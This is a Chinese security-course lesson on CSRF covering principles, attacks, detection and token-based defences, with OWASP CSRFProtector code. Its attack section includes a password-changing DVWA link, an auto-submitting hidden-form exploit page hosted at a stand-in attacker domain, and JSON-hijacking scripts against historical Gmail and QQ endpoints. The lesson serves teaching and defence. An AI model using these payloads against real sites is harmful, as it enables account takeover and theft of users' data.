Appearance
09CSRF漏洞:谁改了我的密码?
上一讲我介绍了 SQL 注入这种常见而又危害严重的漏洞,相信你对它已经有了一定的认识。这一讲我来介绍下被 OWASP 组织列为十大 Web 漏洞威胁之一的 CSRF(跨站请求伪造)漏洞。因为有"跨站"二字,不少人将它与 XSS 混为一谈,但其实它们的原理并不相同。
本讲我会从 CSRF 漏洞的产生原理、攻击手法、检测方法和防御手段这 4 个方面出发,全面地介绍 CSRF 漏洞,带你领略 CSRF 的危害,并能够自主挖掘和防御此类漏洞。
什么是 CSRF 漏洞
CSRF(Cross Site Request Forgery,跨站请求伪造,也叫 XSRF)漏洞是由于未校验请求来源,导致攻击者可在第三方站点发起 HTTP 请求,并以受害者的目标网站登录态(cookie、session 等)请求,从而执行一些敏感的业务功能操作,比如更改密码、修改个人资料、关注好友。
用张时序图来解释会更清楚一些,我把常用的攻击方式也画了上去,如下图所示:
图 1:CSRF 跨站请求伪造原理
从以上可以得知,CSRF 比较依赖业务功能。有时虽然存在 CSRF 但并没有实际危害,也不能算是真正意义上的 CSRF 漏洞。比如常规的登录账号功能,如果你不知道密码就无法登录,而如果知道了,那还需要构造 CSRF 请求吗?如果是为了实现多次登录失败,令目标账号暂时无法登录,那么也不需要用 CSRF。
如果是一些发消息、发微博的功能,那同样可以产生蠕虫效果,新浪和腾讯微博就曾发生过好多次此类 CSRF 蠕虫漏洞。
图 2:新浪微博 CSRF 蠕虫
在第 4 讲的 XSS 课程中,我曾介绍过 Samy 蠕虫,它利用 XSS 漏洞在用户资料插入一段 JS 脚本,致使任何查看它的用户在不知情的情况下执行各种操作(关注用户、修改个人资料等等),这种可称为"本站请求伪造"(On-site Request Forgery,OSRF)。有些人可能也因此将 CSRF 归类到 XSS 中,但注意此处产生危害的本质是 XSS 造成的,只不过是利用 XSS 来发起本站请求伪造,与跨站请求伪造情况不同。
所以,我个人更偏向将 XSS 与 CSRF 当作完全不同的漏洞类型来看待,并不赞成将 CSRF 归入 XSS 中。
CSRF 分类
从漏洞利用角度来分类的话,CSRF 可以分为 CSRF 读与 CSRF 写。
CSRF 读:通过伪造请求来获取返回的敏感信息,比如用户资料;常见的就是 JSON 劫持(详见下文),以及利用 Flash API 加载页面获取敏感信息。由于浏览器已经默认禁止 Flash,我就不介绍 Flash CSRF 的攻击手法了。
CSRF 写:通过伪造请求去修改网站数据,比如修改密码、发表文章、发送消息等操作。
CSRF 的攻击手法
以 DVWA 中的 CSRF 题目(Security Level 设置为 Low)为例,我们通过一个实例了解下 CSRF 的常用攻击手法。
图 3:DVWA CSRF 题目
输入密码提交的同时抓包。此处我直接用 Chrome 的 Network 功能(在《01 | 武器库:常用的渗透测试工具》中介绍过):
图 4:更改密码的请求包
抓包后发现只是个 GET 请求,那利用起来就简单了:直接构造以下链接发给受害者,受害者点击后就会被修改密码为你设置的密码。如下所示:
java
http://127.0.0.1/vulnerabilities/csrf/?password_new={你设置的密码}&password_conf={你设置的密码}&Change=Change
像这种 GET 型的 CSRF 漏洞利用就是仅需要修改下原 GET 的参数值,构造个链接发给对方就可以了;甚至直接使用图片链接嵌入到受害者可能访问的页面(博客、论坛、邮件等等),也可以实现漏洞的利用,这种利用方式更加隐蔽。
如果是 POST 请求,就需要编写利用代码,用 JS 脚本去实现自动提交表单,然后把它放在自己控制的服务器上。假设存放地址为 http://hacker.com/exploit.html ,再生成短网址 http://dwz.date/d74a 发给受害者。
图 5:短网址生成
exploit.html 利用代码如下:
xml
<html>
<form name = "test" action = "http://127.0.0.1/vulnerabilities/csrf" method = "post" >
<input type = "hidden" value="hacker" name="password_new" >
<input type = "hidden" value="hacker" name="password_conf" >
<input type = "hidden" value="Change" name="Change" >
</form>
<script>document.test.submit();</script>
</html>
这里是就模拟原网站的表单提交内容设置的,每个 input 都添加 type="hidden" 的属性是为了不在网页中显示,最后再利用 document.test.submit() 去自动提交表单,其中 "test" 是指 form 名单。
如果受害者访问上述包含 exploit.html 的 http://dwz.date/d74a ,就会发起以下请求:
图 6:通过 POST 请求利用 CSRF 漏洞
DVWA 的 CSRF 题目没有 POST 请求,上述的利用方式主要介绍的是 POST 类型的利用手法。这种方法反而比较常用,相信你在未来的 CSRF 测试中能够用上。
JSON 劫持攻击
JSON(JavaScript Object Notation,JavaScript 对象符号)是一种可以序列化任意数据,并能被 JavaScript 注释器直接处理的简单数据交换格式。我们来看一段 JSON 格式的包含用户信息的数据:
json
{
"people":[
{
"name": "Brett",
"email":"Brett@qq.com"
},
{
"name":"Jason",
"Jason@lagou.com"
}
]
}
JSON 劫持是一种特殊的 CSRF 攻击方式,本质上也是未对请求来源做有效校验导致的,它主要是用来窃取服务器返回的敏感信息。
实现 JSON 劫持主要有两种攻击方式:覆写数据构造器和执行回调函数。
覆写数据构造器
若服务端返回的 JSON 数据中包含一个序列化数组,那攻击者就可以重定义数组构造器,以实现 JSON 数据的访问。比如 2006 年的 Gmail 就曾出现过 JSON 劫持联系人列表的漏洞,漏洞 CGI 位于:
java
http://mail.google.com/mail/?_url_scrubbed_
它会返回联系人列表的 JSON 数据。
json
[["ct","Your Name","foo@gmail.com"], ["ct","Another Name","bar@gmail.com"] ]
因此,可通过覆盖数组构造器来读取 JSON 数据。
xml
<script>
//在网页添加一个 table 表去显示劫持到的联系人信息
var table = document.createElement('table');
table.id = 'content';
table.cellPadding = 3;
table.cellSpacing = 1;
table.border = 0;
// 重新定义 Array 构造器
function Array() {
var obj = this;
var ind = 0;
var getNext;
getNext = function(x) {
obj[ind++] setter = getNext; // 将数组元素的 setter 定义为 getNext 函数
if(x) {
var str = x.toString(); // 获取 JSON 数据并转换成字符串
if ((str != 'ct')&&(typeof x != 'object')&&(str.match(/@/))) {
var row = table.insertRow(-1); // 指定行尾部
var td = row.insertCell(-1); // 指定列尾部
td.innerHTML = str; // 插入到表格中
}
}
};
this[ind++] setter = getNext;
}
function readGMail() {
document.body.appendChild(table);
}
</scirpt>
<script src="http://mail.google.com/mail/?_url_scrubbed_"></script>
从以上代码中我们可以总结整个攻击流程:
通过
<script>
加载目标 JSON 对象到页面中;覆写 Array 对象,并设置数组元素的 setter 为 getNext 函数,有时也可以使用 Object.prototype.__defineSetter__来覆盖 setter;
getNext 函数读取包含联系人信息的 JSON 信息。
执行回调函数
不同域名之间传递数据时,无法通过 JavaScript 直接跨域访问,因此需要在访问脚本的请求中指定一个回调函数,用于处理 JSON 数据。正因如此,攻击者也可以利用它来劫持其他域返回的数据。这种攻击方式是当前 JSON 劫持中最为常见的方式。
以前的 QQ 网购就曾出现过这种 JSON 劫持漏洞,其利用代码如下:
xml
<html>
<body>
<script>
function any(obj){
alert(obj);
}
</script>
<script src='http://act.buy.qq.com/w/newbie/queryisnew?callback=any' ></script>
</body>
</html>
通过 callback 参数指定返回数据的处理函数 any,在 any 函数中,你可以根据 JSON 数据内容执行特定的处理,获取你想要的数据然后回传到自己控制的服务器上。
CSRF 检测方法
通过前面对 CSRF 原理的讲解,测试思路就很容易了:
抓包记录正常的 HTTP 请求;
分析 HTTP 请求参数是否可预测,以及相应的用途;
去掉或更改 referer 为第三方站点,然后重放请求;
判断是否达到与正常请求的同等效果,若是则可能存在 CSRF 漏洞,反之则不存在。
自动化的测试思路也是一样的实现方法,只不过很多时候不知道请求参数的实际用途,比较难评估其危害和价值。正如前面所说的,CSRF 的危害取决于参数用途,这也导致很多时候需要人工验证,不然很容易误报。我个人认为,目前没有特别好的自动化 CSRF 检测工具,大多是一些半自动的辅助类工具,比如 BurpSuite 上的 CSRF PoC 生成功能。
图 7:BurpSuite 的 CSRF PoC 生成功能
防御 CSRF
防御 CSRF 的关键思路就是令请求参数不可预测,所以常用的方法就是在敏感操作请求上使用 POST 代替 GET,然后添加验证码或 Token 进行验证。
这里不推荐 referer(即请求头中的来源地址)限制方法,因为通过 javascript:// 伪协议就能以空 referer 的形式发起请求,很容易绕过限制。如果你直接禁止空 referer,一些移动 App 上的请求又可能无法完成,因为移动 App 上的 http/https 请求经常是空 referer。
验证码
在一些重要的敏感操作上设置验证码(短信、图片等等),比如更改密码(此场景下也可要求输入原密码,这也是不可预测值)、修改个人资料等操作时。
图 8:修改绑定手机号增加短信验证
Token 验证
对于 CSRF 的防御,Token 验证无疑是最常用的方法,它对用户是无感知的,体验上比验证码好太多了。
在提交的表单中,添加一个隐藏的 Token,其值必须是保证不可预测的随机数,否则没有防御效果。下面是服务器生成并返回给当前用户的:
xml
<input type = "hidden" value="afcsjkl82389dsafcjfsaf352daa34df" name="token" >
提交表单后,会连同此 Token 一并提交,由服务器再做比对校验。
生成 Csrf Token 的算法,常常会取登录后 cookie 中的某值作为输入,然后采用一些加密/哈希算法生成,这也是为了方便后台校验和区分用户。
除了 Cookie Token,还可以使用伪随机值的 Session Token,即服务端生成一个伪随机数,存储到 $_SESSION 中,然后返回给用户的页面中隐藏此 Token;等用户提交后,再拿它与存储在 $_SESSION 的 Token 值比较。这是当前比较常用的 Token 生成与校验方式。
对于 PHP 网站,推荐使用 OWASP CSRFProtector,我们来看它是如何生成和校验 Token 的。
首先调用 random_bytes 函数、openssl_random_pseudo_bytes 函数或是 mt_rand 函数随机生成 Token,长度可配置,默认 128 位:
php
/*
* Function: generateAuthToken
* function to generate random hash of length as given in parameter
* max length = 128
*
* Parameters:
* length to hash required, int
*
* Returns:
* string, token
*/
public static function generateAuthToken()
{
// todo - make this a member method / configurable
$randLength = 64;
//if config tokenLength value is 0 or some non int
if (intval(self::$config['tokenLength']) == 0) {
self::$config['tokenLength'] = 32; //set as default
}
// 先用 radndom_bytes 生成随机数,没有的话再调用 openssl_random_pseudo_bytes,再没有的话就调用 mt_rand
if (function_exists("random_bytes")) {
$token = bin2hex(random_bytes($randLength));
} elseif (function_exists("openssl_random_pseudo_bytes")) {
$token = bin2hex(openssl_random_pseudo_bytes($randLength));
} else {
$token = '';
for ($i = 0; $i < 128; ++$i) {
$r = mt_rand (0, 35);
if ($r < 26) {
$c = chr(ord('a') + $r);
} else {
$c = chr(ord('0') + $r - 26);
}
$token .= $c;
}
}
return substr($token, 0, self::$config['tokenLength']); // 截取指定长度的 token
}
然后将生成的 Token 存储到 $_SESSION 和 $_COOKIE 中:
php
/*
* Function: refreshToken
* Function to set auth cookie
*
* Parameters:
* void
*
* Returns:
* void
*/
public static function refreshToken()
{
$token = self::generateAuthToken();
if (!isset($_SESSION[self::$config['CSRFP_TOKEN']])
|| !is_array($_SESSION[self::$config['CSRFP_TOKEN']]))
$_SESSION[self::$config['CSRFP_TOKEN']] = array();
//set token to session for server side validation
array_push($_SESSION[self::$config['CSRFP_TOKEN']], $token);
//set token to cookie for client side processing
setcookie(self::$config['CSRFP_TOKEN'],
$token,
time() + self::$cookieExpiryTime,
'',
'',
(array_key_exists('secureCookie', self::$config) ? (bool)self::$config['secureCookie'] : false));
}
在 form 表单中插入隐藏的 Token 值:
php
$hiddenInput = '<input type="hidden" id="' . CSRFP_FIELD_TOKEN_NAME.'" value="' .self::$config['CSRFP_TOKEN'] .'">' .PHP_EOL;
......
$buffer = str_ireplace('</body>', $hiddenInput . '</body>', $buffer);
用户提交表单后,会将上述 Token 一并提交,最后由服务器对比用户提交的 Token 与 $_SESSION 中存储的 Token:
php
/*
* Function: isValidToken
* function to check the validity of token in session array
* Function also clears all tokens older than latest one
*
* Parameters:
* $token - the token sent with GET or POST payload
*
* Returns:
* bool - true if its valid else false
*/
private static function isValidToken($token) {
if (!isset($_SESSION[self::$config['CSRFP_TOKEN']])) return false;
if (!is_array($_SESSION[self::$config['CSRFP_TOKEN']])) return false;
foreach ($_SESSION[self::$config['CSRFP_TOKEN']] as $key => $value) {
if ($value == $token) {
// Clear all older tokens assuming they have been consumed
foreach ($_SESSION[self::$config['CSRFP_TOKEN']] as $_key => $_value) {
if ($_value == $token) break;
array_shift($_SESSION[self::$config['CSRFP_TOKEN']]);
}
return true;
}
}
return false;
}
这就是 CSRF Token 生成与校验的思路,总结下,先由服务端生成随机数作为 Token,然后存储到 Session 中,不一定都非要存储到 Cookie 中,然后在返回给用户的表单中插入隐藏的 Token,用户提交后,由服务器来比对提交的 Token 与 Session 中的 Token 是否一致,以此判断请求是否合法。
总结
本讲主要介绍了 CSRF 的产生原理、攻击手法、检测与防御方法,也列举了一些真实存在的企业漏洞进行讲解。同时,我还介绍了第三方 CSRF 防御库 CSRFProtector,从源码的角度详细分析了 CSRF Token 生成与校验原理,这是防御 CSRF 最有效也是最常用的方法。
理解 CSRF 的难点就在于,它不是为了窃取用户的登录凭证(cookie 等),而是直接利用用户已经登录过网站而留存在浏览器上的凭证,诱使用户访问恶意链接,借助登录凭证去执行敏感操作,整个攻击过程是在用户的浏览器上完成的。
在下一讲,我将给你介绍 SSRF,它与 CSRF 有一些相同的特点,但攻击目标不是用户,而是服务器,期待在下一讲中与你相见。